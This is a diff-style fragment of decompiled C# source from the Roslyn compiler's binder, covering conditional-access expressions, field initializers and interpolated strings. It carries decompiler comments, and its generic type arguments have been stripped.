+ if (boundExpression2.Kind == BoundKind.MethodGroup) + { + return GenerateBadConditionalAccessNodeError(node, boundExpression, boundExpression2, diagnostics); + } + TypeSymbol typeSymbol = boundExpression2.Type; + if ((object)typeSymbol == null) + { + return GenerateBadConditionalAccessNodeError(node, boundExpression, boundExpression2, diagnostics); + } + if ((!typeSymbol.IsReferenceType && !typeSymbol.IsValueType) || typeSymbol.IsPointerOrFunctionPointer() || typeSymbol.IsRestrictedType()) + { + bool flag = true; + CSharpSyntaxNode parent = node.Parent; + if (parent != null) + { + switch (parent.Kind()) + { + case SyntaxKind.ExpressionStatement: + flag = ((ExpressionStatementSyntax)parent).Expression != node; + break; + case SyntaxKind.SimpleLambdaExpression: + flag = ((SimpleLambdaExpressionSyntax)parent).Body != node || MethodOrLambdaRequiresValue(ContainingMemberOrLambda, Compilation); + break; + case SyntaxKind.ParenthesizedLambdaExpression: + flag = ((ParenthesizedLambdaExpressionSyntax)parent).Body != node || MethodOrLambdaRequiresValue(ContainingMemberOrLambda, Compilation); + break; + case SyntaxKind.ArrowExpressionClause: + flag = ((ArrowExpressionClauseSyntax)parent).Expression != node || MethodOrLambdaRequiresValue(ContainingMemberOrLambda, Compilation); + break; + case SyntaxKind.ForStatement: + { + ForStatementSyntax forStatementSyntax = (ForStatementSyntax)parent; + flag = !forStatementSyntax.Incrementors.Contains((ExpressionSyntax)node) && !forStatementSyntax.Initializers.Contains((ExpressionSyntax)node); + break; + } + } + } + if (flag) + { + return GenerateBadConditionalAccessNodeError(node, boundExpression, boundExpression2, diagnostics); + } + typeSymbol = GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)node); + } + if (typeSymbol.IsValueType && !typeSymbol.IsNullableType() && !typeSymbol.IsVoidType()) + { + typeSymbol = GetSpecialType((SpecialType)32, diagnostics, (SyntaxNode)(object)node).Construct(typeSymbol); + } + return new BoundConditionalAccess((SyntaxNode)(object)node, boundExpression, boundExpression2, typeSymbol); + } + + internal static bool MethodOrLambdaRequiresValue(Symbol symbol, CSharpCompilation compilation) + { + if (symbol is MethodSymbol { ReturnsVoid: false } methodSymbol) + { + return !methodSymbol.IsAsyncEffectivelyReturningTask(compilation); + } + return false; + } + + private BoundConditionalAccess GenerateBadConditionalAccessNodeError(ConditionalAccessExpressionSyntax node, BoundExpression receiver, BoundExpression access, BindingDiagnosticBag diagnostics) + { + DiagnosticInfo info = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_CannotBeMadeNullable, access.Display); + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(info, access.Syntax.Location)); + receiver = BadExpression(receiver.Syntax, receiver); + return new BoundConditionalAccess((SyntaxNode)(object)node, receiver, access, CreateErrorType(), hasErrors: true); + } + + private BoundExpression BindMemberBindingExpression(MemberBindingExpressionSyntax node, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverForConditionalBinding = GetReceiverForConditionalBinding(node, diagnostics); + return BindMemberAccessWithBoundLeft(node, receiverForConditionalBinding, node.Name, node.OperatorToken, invoked, indexed, diagnostics); + } + + private BoundExpression BindElementBindingExpression(ElementBindingExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression receiverForConditionalBinding = GetReceiverForConditionalBinding(node, diagnostics); + return BindElementAccess(node, receiverForConditionalBinding, node.ArgumentList, allowInlineArrayElementAccess: true, diagnostics); + } + + private static CSharpSyntaxNode GetConditionalReceiverSyntax(ConditionalAccessExpressionSyntax node) + { + ExpressionSyntax expression = node.Expression; + while (((SyntaxNode?)(object)expression).IsKind(SyntaxKind.ParenthesizedExpression)) + { + expression = ((ParenthesizedExpressionSyntax)expression).Expression; + } + return expression; + } + + private BoundExpression GetReceiverForConditionalBinding(ExpressionSyntax binding, BindingDiagnosticBag diagnostics) + { + ConditionalAccessExpressionSyntax node = SyntaxFactory.FindConditionalAccessNodeForBinding(binding); + BoundExpression boundExpression = ConditionalReceiverExpression; + if ((object)boundExpression?.Syntax != GetConditionalReceiverSyntax(node)) + { + boundExpression = BindConditionalAccessReceiver(node, diagnostics); + } + TypeSymbol typeSymbol = boundExpression.Type; + if ((object)typeSymbol != null && typeSymbol.IsNullableType()) + { + typeSymbol = typeSymbol.GetNullableUnderlyingType(); + } + return new BoundConditionalReceiver(boundExpression.Syntax, 0, typeSymbol ?? CreateErrorType(), boundExpression.HasErrors) + { + WasCompilerGenerated = true + }; + } + + private BoundExpression BindConditionalAccessReceiver(ConditionalAccessExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax expression = node.Expression; + BoundExpression expr = BindRValueWithoutTargetType(expression, diagnostics); + expr = MakeMemberAccessValue(expr, diagnostics); + if (expr.HasAnyErrors) + { + return expr; + } + SyntaxToken operatorToken = node.OperatorToken; + if (expr.Kind == BoundKind.UnboundLambda) + { + MessageID messageID = ((UnboundLambda)expr).MessageID; + DiagnosticInfo info = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadUnaryOp, SyntaxFacts.GetText(operatorToken.Kind()), messageID.Localize()); + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(info, ((SyntaxNode)node).Location)); + return BadExpression((SyntaxNode)(object)expression, expr); + } + TypeSymbol type = expr.Type; + if ((object)type == null) + { + Error(diagnostics, ErrorCode.ERR_BadUnaryOp, ((SyntaxToken)(ref operatorToken)).GetLocation(), ((SyntaxToken)(ref operatorToken)).Text, expr.Display); + return BadExpression((SyntaxNode)(object)expression, expr); + } + if (type.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_BadUnaryOp, ((SyntaxToken)(ref operatorToken)).GetLocation(), ((SyntaxToken)(ref operatorToken)).Text, type); + return BadExpression((SyntaxNode)(object)expression, expr); + } + if (type.IsValueType && !type.IsNullableType()) + { + Error(diagnostics, ErrorCode.ERR_BadUnaryOp, ((SyntaxToken)(ref operatorToken)).GetLocation(), ((SyntaxToken)(ref operatorToken)).Text, type); + return BadExpression((SyntaxNode)(object)expression, expr); + } + return expr; + } + + internal Binder WithFlags(BinderFlags flags) + { + if (Flags != flags) + { + return new Binder(this, flags); + } + return this; + } + + internal Binder WithAdditionalFlags(BinderFlags flags) + { + if (!Flags.Includes(flags)) + { + return new Binder(this, Flags | flags); + } + return this; + } + + internal Binder WithContainingMemberOrLambda(Symbol containing) + { + return new BinderWithContainingMemberOrLambda(this, containing); + } + + internal Binder WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags flags, Symbol containing) + { + return new BinderWithContainingMemberOrLambda(this, Flags | flags, containing); + } + + internal Binder WithUnsafeRegionIfNecessary(SyntaxTokenList modifiers) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (!Flags.Includes(BinderFlags.UnsafeRegion) && modifiers.Any(SyntaxKind.UnsafeKeyword)) + { + return new Binder(this, Flags | BinderFlags.UnsafeRegion); + } + return this; + } + + internal Binder WithCheckedOrUncheckedRegion(bool @checked) + { + BinderFlags binderFlags = (@checked ? BinderFlags.CheckedRegion : BinderFlags.UncheckedRegion); + BinderFlags binderFlags2 = (@checked ? BinderFlags.UncheckedRegion : BinderFlags.CheckedRegion); + if (!Flags.Includes(binderFlags)) + { + return new Binder(this, (Flags & ~binderFlags2) | binderFlags); + } + return this; + } + + internal static void BindFieldInitializers(CSharpCompilation compilation, SynthesizedInteractiveInitializerMethod? scriptInitializerOpt, ImmutableArray> fieldInitializers, BindingDiagnosticBag diagnostics, ref ProcessedFieldInitializers processedInitializers) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + processedInitializers.BoundInitializers = BindFieldInitializers(compilation, scriptInitializerOpt, fieldInitializers, instance, out ImportChain firstImportChain); + processedInitializers.HasErrors = ((BindingDiagnosticBag)instance).HasAnyErrors(); + processedInitializers.FirstImportChain = firstImportChain; + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + internal static ImmutableArray BindFieldInitializers(CSharpCompilation compilation, SynthesizedInteractiveInitializerMethod? scriptInitializerOpt, ImmutableArray> initializers, BindingDiagnosticBag diagnostics, out ImportChain? firstImportChain) + { + if (initializers.IsEmpty) + { + firstImportChain = null; + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if ((object)scriptInitializerOpt == null) + { + BindRegularCSharpFieldInitializers(compilation, initializers, instance, diagnostics, out firstImportChain); + } + else + { + BindScriptFieldInitializers(compilation, scriptInitializerOpt, initializers, instance, diagnostics, out firstImportChain); + } + return instance.ToImmutableAndFree(); + } + + internal static void BindRegularCSharpFieldInitializers(CSharpCompilation compilation, ImmutableArray> initializers, ArrayBuilder boundInitializers, BindingDiagnosticBag diagnostics, out ImportChain? firstDebugImports) + { + firstDebugImports = null; + ImmutableArray>.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray current = enumerator.Current; + BinderFactory binderFactory = null; + ImmutableArray.Enumerator enumerator2 = current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + FieldOrPropertyInitializer current2 = enumerator2.Current; + FieldSymbol fieldOpt = current2.FieldOpt; + if (fieldOpt.IsMetadataConstant) + { + continue; + } + SyntaxReference syntax = current2.Syntax; + SyntaxNode syntax2 = syntax.GetSyntax(default(CancellationToken)); + if (!(syntax2 is EqualsValueClauseSyntax equalsValueClauseSyntax)) + { + if (!(syntax2 is ParameterSyntax parameterSyntax)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Initializers.cs", 138); + } + if (firstDebugImports == null) + { + if (binderFactory == null) + { + binderFactory = compilation.GetBinderFactory(syntax.SyntaxTree); + } + firstDebugImports = binderFactory.GetBinder((SyntaxNode)(object)parameterSyntax).ImportChain; + } + boundInitializers.Add((BoundInitializer)new BoundFieldEqualsValue((SyntaxNode)(object)parameterSyntax, fieldOpt, ImmutableArray.Empty, new BoundParameter((SyntaxNode)(object)parameterSyntax, ((SynthesizedRecordPropertySymbol)fieldOpt.AssociatedSymbol).BackingParameter).MakeCompilerGenerated())); + } + else + { + if (binderFactory == null) + { + binderFactory = compilation.GetBinderFactory(syntax.SyntaxTree); + } + Binder binder = binderFactory.GetBinder((SyntaxNode)(object)equalsValueClauseSyntax); + if (firstDebugImports == null) + { + firstDebugImports = binder.ImportChain; + } + binder = binder.GetFieldInitializerBinder(fieldOpt); + BoundFieldEqualsValue boundFieldEqualsValue = BindFieldInitializer(binder, fieldOpt, equalsValueClauseSyntax, diagnostics); + boundInitializers.Add((BoundInitializer)boundFieldEqualsValue); + } + } + } + } + + internal Binder GetFieldInitializerBinder(FieldSymbol fieldSymbol, bool suppressBinderFlagsFieldInitializer = false) + { + Binder next = this; + next = new WithPrimaryConstructorParametersBinder(fieldSymbol.ContainingType, next); + return new LocalScopeBinder(next).WithAdditionalFlagsAndContainingMemberOrLambda((!suppressBinderFlagsFieldInitializer) ? BinderFlags.FieldInitializer : BinderFlags.None, fieldSymbol); + } + + private static void BindScriptFieldInitializers(CSharpCompilation compilation, SynthesizedInteractiveInitializerMethod scriptInitializer, ImmutableArray> initializers, ArrayBuilder boundInitializers, BindingDiagnosticBag diagnostics, out ImportChain? firstDebugImports) + { + firstDebugImports = null; + for (int i = 0; i < initializers.Length; i++) + { + ImmutableArray immutableArray = initializers[i]; + BinderFactory binderFactory = null; + ScriptLocalScopeBinder.Labels labels = null; + for (int j = 0; j < immutableArray.Length; j++) + { + FieldOrPropertyInitializer fieldOrPropertyInitializer = immutableArray[j]; + FieldSymbol fieldOpt = fieldOrPropertyInitializer.FieldOpt; + if ((object)fieldOpt == null || !fieldOpt.IsConst) + { + SyntaxReference syntax = fieldOrPropertyInitializer.Syntax; + SyntaxTree syntaxTree = syntax.SyntaxTree; + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)syntax.GetSyntax(default(CancellationToken)); + CompilationUnitSyntax compilationUnitRoot = syntaxTree.GetCompilationUnitRoot(); + if (binderFactory == null) + { + binderFactory = compilation.GetBinderFactory(syntaxTree); + labels = new ScriptLocalScopeBinder.Labels(scriptInitializer, compilationUnitRoot); + } + Binder binder = binderFactory.GetBinder((SyntaxNode)(object)cSharpSyntaxNode); + if (firstDebugImports == null) + { + firstDebugImports = binder.ImportChain; + } + Binder binder2 = new ExecutableCodeBinder((SyntaxNode)(object)compilationUnitRoot, scriptInitializer, new ScriptLocalScopeBinder(labels, binder)); + BoundInitializer boundInitializer = (((object)fieldOpt == null) ? BindGlobalStatement(binder2, scriptInitializer, (StatementSyntax)cSharpSyntaxNode, diagnostics, i == initializers.Length - 1 && j == immutableArray.Length - 1) : BindFieldInitializer(binder2.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.FieldInitializer, fieldOpt), fieldOpt, (EqualsValueClauseSyntax)cSharpSyntaxNode, diagnostics)); + boundInitializers.Add(boundInitializer); + } + } + } + } + + private static BoundInitializer BindGlobalStatement(Binder binder, SynthesizedInteractiveInitializerMethod scriptInitializer, StatementSyntax statementNode, BindingDiagnosticBag diagnostics, bool isLast) + { + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + BoundStatement boundStatement = binder.BindStatement(statementNode, diagnostics); + if (isLast && !boundStatement.HasAnyErrors) + { + if (((Compilation)binder.Compilation).IsSubmission) + { + BoundExpression trailingScriptExpression = InitializerRewriter.GetTrailingScriptExpression(boundStatement); + if (trailingScriptExpression != null && ((object)trailingScriptExpression.Type == null || !trailingScriptExpression.Type.IsVoidType())) + { + TypeSymbol resultType = scriptInitializer.ResultType; + trailingScriptExpression = binder.GenerateConversionForAssignment(resultType, trailingScriptExpression, diagnostics); + boundStatement = new BoundExpressionStatement(boundStatement.Syntax, trailingScriptExpression, trailingScriptExpression.HasErrors); + } + } + if (boundStatement.Kind == BoundKind.LabeledStatement) + { + BoundStatement body = ((BoundLabeledStatement)boundStatement).Body; + while (body.Kind == BoundKind.LabeledStatement) + { + body = ((BoundLabeledStatement)body).Body; + } + if (InitializerRewriter.GetTrailingScriptExpression(body) != null) + { + Error(diagnostics, ErrorCode.ERR_SemicolonExpected, ((ExpressionStatementSyntax)(object)body.Syntax).SemicolonToken); + } + } + } + return new BoundGlobalStatementInitializer((SyntaxNode)(object)statementNode, boundStatement); + } + + private static BoundFieldEqualsValue BindFieldInitializer(Binder binder, FieldSymbol fieldSymbol, EqualsValueClauseSyntax equalsValueClauseNode, BindingDiagnosticBag diagnostics) + { + ConsList fieldsBeingBound = binder.FieldsBeingBound; + BindingDiagnosticBag diagnostics2 = ((!(fieldSymbol is SourceMemberFieldSymbolFromDeclarator sourceMemberFieldSymbolFromDeclarator) || !sourceMemberFieldSymbolFromDeclarator.FieldTypeInferred(fieldsBeingBound)) ? diagnostics : BindingDiagnosticBag.Discarded); + binder = new ExecutableCodeBinder((SyntaxNode)(object)equalsValueClauseNode, fieldSymbol, new LocalScopeBinder(binder)); + return binder.BindFieldInitializer(fieldSymbol, equalsValueClauseNode, diagnostics2); + } + + private BoundExpression BindInterpolatedString(InterpolatedStringExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_049a: Unknown result type (might be due to invalid IL or missing references) + //IL_049f: Unknown result type (might be due to invalid IL or missing references) + //IL_0380: Unknown result type (might be due to invalid IL or missing references) + //IL_0385: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_01bf: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Unknown result type (might be due to invalid IL or missing references) + //IL_01d4: Unknown result type (might be due to invalid IL or missing references) + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_022c: Unknown result type (might be due to invalid IL or missing references) + //IL_0235: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_0252: Unknown result type (might be due to invalid IL or missing references) + if (CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureInterpolatedStrings, diagnostics)) + { + SyntaxKind syntaxKind = node.StringStartToken.Kind(); + if (syntaxKind - 9072 <= SyntaxKind.List) + { + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureRawStringLiterals, diagnostics); + } + } + SyntaxToken val = node.StringStartToken; + if (((SyntaxToken)(ref val)).Text.StartsWith("@$\"") && !Compilation.IsFeatureEnabled(MessageID.IDS_FeatureAltInterpolatedVerbatimStrings)) + { + val = node.StringStartToken; + Error(diagnostics, ErrorCode.ERR_AltInterpolatedVerbatimStringsNotAvailable, ((SyntaxToken)(ref val)).GetLocation(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureAltInterpolatedVerbatimStrings.RequiredVersion())); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)20, diagnostics, (SyntaxNode)(object)node); + ConstantValue val2 = null; + bool flag = true; + if (node.Contents.Count == 0) + { + val2 = ConstantValue.Create(string.Empty); + } + else + { + bool flag2 = node.StringStartToken.Kind() != SyntaxKind.InterpolatedVerbatimStringStartToken; + SyntaxKind syntaxKind = node.StringStartToken.Kind(); + bool flag3 = syntaxKind - 9072 <= SyntaxKind.List; + bool flag4 = flag3; + bool flag5 = Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNewLinesInInterpolations); + NamedTypeSymbol specialType2 = GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)node); + Enumerator enumerator = node.Contents.GetEnumerator(); + while (enumerator.MoveNext()) + { + InterpolatedStringContentSyntax current = enumerator.Current; + switch (current.Kind()) + { + case SyntaxKind.Interpolation: + { + InterpolationSyntax interpolationSyntax = (InterpolationSyntax)current; + if (flag2 && !interpolationSyntax.GetDiagnostics().Any((Diagnostic d) => (int)d.Severity == 3) && !flag5) + { + val = interpolationSyntax.OpenBraceToken; + if (!((SyntaxToken)(ref val)).IsMissing) + { + val = interpolationSyntax.CloseBraceToken; + if (!((SyntaxToken)(ref val)).IsMissing) + { + SourceText text2 = node.SyntaxTree.GetText(default(CancellationToken)); + TextLineCollection lines = text2.Lines; + val = interpolationSyntax.OpenBraceToken; + TextLine lineFromPosition = lines.GetLineFromPosition(((SyntaxToken)(ref val)).SpanStart); + int lineNumber = ((TextLine)(ref lineFromPosition)).LineNumber; + TextLineCollection lines2 = text2.Lines; + val = interpolationSyntax.CloseBraceToken; + lineFromPosition = lines2.GetLineFromPosition(((SyntaxToken)(ref val)).SpanStart); + if (lineNumber != ((TextLine)(ref lineFromPosition)).LineNumber) + { + val = interpolationSyntax.CloseBraceToken; + diagnostics.Add(ErrorCode.ERR_NewlinesAreNotAllowedInsideANonVerbatimInterpolatedString, ((SyntaxToken)(ref val)).GetLocation(), Compilation.LanguageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureNewLinesInInterpolations.RequiredVersion())); + } + } + } + } + BoundExpression boundExpression = BindValue(interpolationSyntax.Expression, diagnostics, BindValueKind.RValue); + BoundExpression boundExpression2 = null; + BoundLiteral format = null; + if (interpolationSyntax.AlignmentClause != null) + { + boundExpression2 = GenerateConversionForAssignment(specialType2, BindValue(interpolationSyntax.AlignmentClause.Value, diagnostics, BindValueKind.RValue), diagnostics); + ConstantValue constantValueOpt = boundExpression2.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && !constantValueOpt.IsBad) + { + int int32Value = constantValueOpt.Int32Value; + int32Value = ((int32Value > 0) ? (-int32Value) : int32Value); + if (int32Value < -32767) + { + diagnostics.Add(ErrorCode.WRN_AlignmentMagnitude, boundExpression2.Syntax.Location, constantValueOpt.Int32Value, 32767); + } + } + else if (!boundExpression2.HasErrors) + { + diagnostics.Add(ErrorCode.ERR_ConstantExpected, ((SyntaxNode)interpolationSyntax.AlignmentClause.Value).Location); + } + } + if (interpolationSyntax.FormatClause != null) + { + val = interpolationSyntax.FormatClause.FormatStringToken; + string valueText = ((SyntaxToken)(ref val)).ValueText; + bool hasErrors = false; + char ch; + if (valueText.Length == 0) + { + diagnostics.Add(ErrorCode.ERR_EmptyFormatSpecifier, ((SyntaxNode)interpolationSyntax.FormatClause).Location); + hasErrors = true; + } + else if (SyntaxFacts.IsWhitespace(ch = valueText[valueText.Length - 1]) || SyntaxFacts.IsNewLine(ch)) + { + diagnostics.Add(ErrorCode.ERR_TrailingWhitespaceInFormatSpecifier, ((SyntaxNode)interpolationSyntax.FormatClause).Location); + hasErrors = true; + } + format = new BoundLiteral((SyntaxNode)(object)interpolationSyntax.FormatClause, ConstantValue.Create(valueText), specialType, hasErrors); + } + instance.Add((BoundExpression)new BoundStringInsert((SyntaxNode)(object)interpolationSyntax, boundExpression, boundExpression2, format, isInterpolatedStringHandlerAppendCall: false)); + if (flag && !(boundExpression.ConstantValueOpt == (ConstantValue)null) && interpolationSyntax != null && interpolationSyntax.FormatClause == null && interpolationSyntax.AlignmentClause == null) + { + ConstantValue constantValueOpt2 = boundExpression.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.IsString && !constantValueOpt2.IsBad) + { + val2 = ((val2 == null) ? boundExpression.ConstantValueOpt : FoldStringConcatenation(BinaryOperatorKind.StringConcatenation, val2, boundExpression.ConstantValueOpt)); + break; + } + } + flag = false; + break; + } + case SyntaxKind.InterpolatedStringText: + { + val = ((InterpolatedStringTextSyntax)current).TextToken; + string text = ((SyntaxToken)(ref val)).ValueText; + if (!flag4) + { + text = unescapeInterpolatedStringLiteral(text); + } + ConstantValue val3 = ConstantValue.Create((object)text, (SpecialType)20); + instance.Add((BoundExpression)new BoundLiteral((SyntaxNode)(object)current, val3, specialType)); + if (flag) + { + val2 = (ConstantValue)((val2 == null) ? ((object)val3) : ((object)FoldStringConcatenation(BinaryOperatorKind.StringConcatenation, val2, val3))); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)current.Kind()); + } + } + if (!flag) + { + val2 = null; + } + } + return new BoundUnconvertedInterpolatedString((SyntaxNode)(object)node, instance.ToImmutableAndFree(), val2, specialType); + static string unescapeInterpolatedStringLiteral(string value) + { + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance2.Builder; + int i = 0; + for (int length = value.Length; i < length; i++) + { + char c = value[i]; + builder.Append(c); + bool flag6 = ((c == '{' || c == '}') ? true : false); + if (flag6 && i + 1 < length && value[i + 1] == c) + { + i++; + } + } + string result = ((instance2.Length == value.Length) ? value : instance2.Builder.ToString()); + instance2.Free(); + return result; + } + } + + private BoundInterpolatedString BindUnconvertedInterpolatedStringToString(BoundUnconvertedInterpolatedString unconvertedInterpolatedString, BindingDiagnosticBag diagnostics) + { + if (unconvertedInterpolatedString.ConstantValueOpt != null) + { + return constructWithData(BindInterpolatedStringParts(unconvertedInterpolatedString, diagnostics), null); + } + if (unconvertedInterpolatedString.Parts.Length <= 4 && AllInterpolatedStringPartsAreStrings(unconvertedInterpolatedString.Parts)) + { + return constructWithData(BindInterpolatedStringParts(unconvertedInterpolatedString, diagnostics), null); + } + if (tryBindAsHandlerType(out var result)) + { + return result; + } + return constructWithData(BindInterpolatedStringParts(unconvertedInterpolatedString, diagnostics), null); + BoundInterpolatedString constructWithData(ImmutableArray parts, InterpolatedStringHandlerData? data) + { + return new BoundInterpolatedString(unconvertedInterpolatedString.Syntax, data, parts, unconvertedInterpolatedString.ConstantValueOpt, unconvertedInterpolatedString.Type, unconvertedInterpolatedString.HasErrors); + } + bool tryBindAsHandlerType([NotNullWhen(true)] out BoundInterpolatedString? reference) + { + reference = null; + if (InExpressionTree || !InterpolatedStringPartsAreValidInDefaultHandler(unconvertedInterpolatedString)) + { + return false; + } + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType((WellKnownType)310); + if (wellKnownType is MissingMetadataTypeSymbol) + { + return false; + } + reference = BindUnconvertedInterpolatedStringToHandlerType(unconvertedInterpolatedString, wellKnownType, diagnostics, isHandlerConversion: false); + return true; + } + } + + private static bool InterpolatedStringPartsAreValidInDefaultHandler(BoundUnconvertedInterpolatedString unconvertedInterpolatedString) + { + if (!unconvertedInterpolatedString.Parts.ContainsAwaitExpression()) + { + return unconvertedInterpolatedString.Parts.All(delegate(BoundExpression p) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + int num; + if (p is BoundStringInsert boundStringInsert) + { + BoundExpression value = boundStringInsert.Value; + if (value != null) + { + TypeSymbol type = value.Type; + if ((object)type != null) + { + num = (((int)type.TypeKind == 4) ? 1 : 0); + goto IL_002a; + } + } + } + num = 0; + goto IL_002a; + IL_002a: + return num == 0; + }); + } + return false; + } + + private static bool AllInterpolatedStringPartsAreStrings(ImmutableArray parts) + { + return parts.All(delegate(BoundExpression p) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + if (!(p is BoundLiteral)) + { + if (p is BoundStringInsert boundStringInsert) + { + BoundExpression value = boundStringInsert.Value; + if (value != null) + { + TypeSymbol type = value.Type; + if ((object)type != null && (int)type.SpecialType == 20 && boundStringInsert.Alignment == null && boundStringInsert.Format == null) + { + goto IL_0040; + } + } + } + return false; + } + goto IL_0040; + IL_0040: + return true; + }); + } + + private bool TryBindUnconvertedBinaryOperatorToDefaultInterpolatedStringHandler(BoundBinaryOperator binaryOperator, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out BoundBinaryOperator? convertedBinaryOperator) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + convertedBinaryOperator = null; + if (InExpressionTree) + { + return false; + } + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType((WellKnownType)310); + if (wellKnownType.IsErrorType()) + { + return false; + } + if (binaryOperator.ConstantValueOpt != null) + { + return false; + } + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + if (!binaryOperator.VisitBinaryOperatorInterpolatedString(instance, delegate(BoundUnconvertedInterpolatedString unconvertedInterpolatedString, ArrayBuilder> partsArrayBuilder) + { + if (!InterpolatedStringPartsAreValidInDefaultHandler(unconvertedInterpolatedString)) + { + return false; + } + partsArrayBuilder.Add(unconvertedInterpolatedString.Parts); + return true; + })) + { + instance.Free(); + return false; + } + int num = 0; + Enumerator> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray current = enumerator.Current; + num += current.Length; + if (num > 4 || !AllInterpolatedStringPartsAreStrings(current)) + { + (ImmutableArray> AppendCalls, InterpolatedStringHandlerData Data) tuple = BindUnconvertedInterpolatedPartsToHandlerType(binaryOperator.Syntax, instance.ToImmutableAndFree(), wellKnownType, diagnostics, isHandlerConversion: false, default(ImmutableArray), default(ImmutableArray)); + ImmutableArray> item = tuple.AppendCalls; + InterpolatedStringHandlerData item2 = tuple.Data; + convertedBinaryOperator = UpdateBinaryOperatorWithInterpolatedContents(binaryOperator, item, item2, binaryOperator.Syntax, diagnostics); + return true; + } + } + instance.Free(); + return false; + } + + private BoundBinaryOperator UpdateBinaryOperatorWithInterpolatedContents(BoundBinaryOperator originalOperator, ImmutableArray> appendCalls, InterpolatedStringHandlerData data, SyntaxNode rootSyntax, BindingDiagnosticBag diagnostics) + { + NamedTypeSymbol specialType = GetSpecialType((SpecialType)20, diagnostics, rootSyntax); + Func>, TypeSymbol), BoundExpression> interpolatedStringFactory = createInterpolation; + Func>, TypeSymbol), BoundExpression> binaryOperatorFactory = createBinaryOperator; + return ((BoundBinaryOperator)originalOperator.RewriteInterpolatedStringAddition((appendCalls, specialType), interpolatedStringFactory, binaryOperatorFactory)).Update(BoundBinaryOperator.UncommonData.InterpolatedStringHandlerAddition(data)); + static BoundBinaryOperator createBinaryOperator(BoundBinaryOperator original, BoundExpression left, BoundExpression right, (ImmutableArray> _, TypeSymbol @string) arg) + { + return new BoundBinaryOperator(original.Syntax, BinaryOperatorKind.StringConcatenation, left, right, original.ConstantValueOpt, null, null, LookupResultKind.Viable, default(ImmutableArray), arg.@string, original.HasErrors); + } + static BoundInterpolatedString createInterpolation(BoundUnconvertedInterpolatedString expression, int i, (ImmutableArray> AppendCalls, TypeSymbol _) arg) + { + return new BoundInterpolatedString(expression.Syntax, null, arg.AppendCalls[i], expression.ConstantValueOpt, expression.Type, expression.HasErrors); + } + } + + 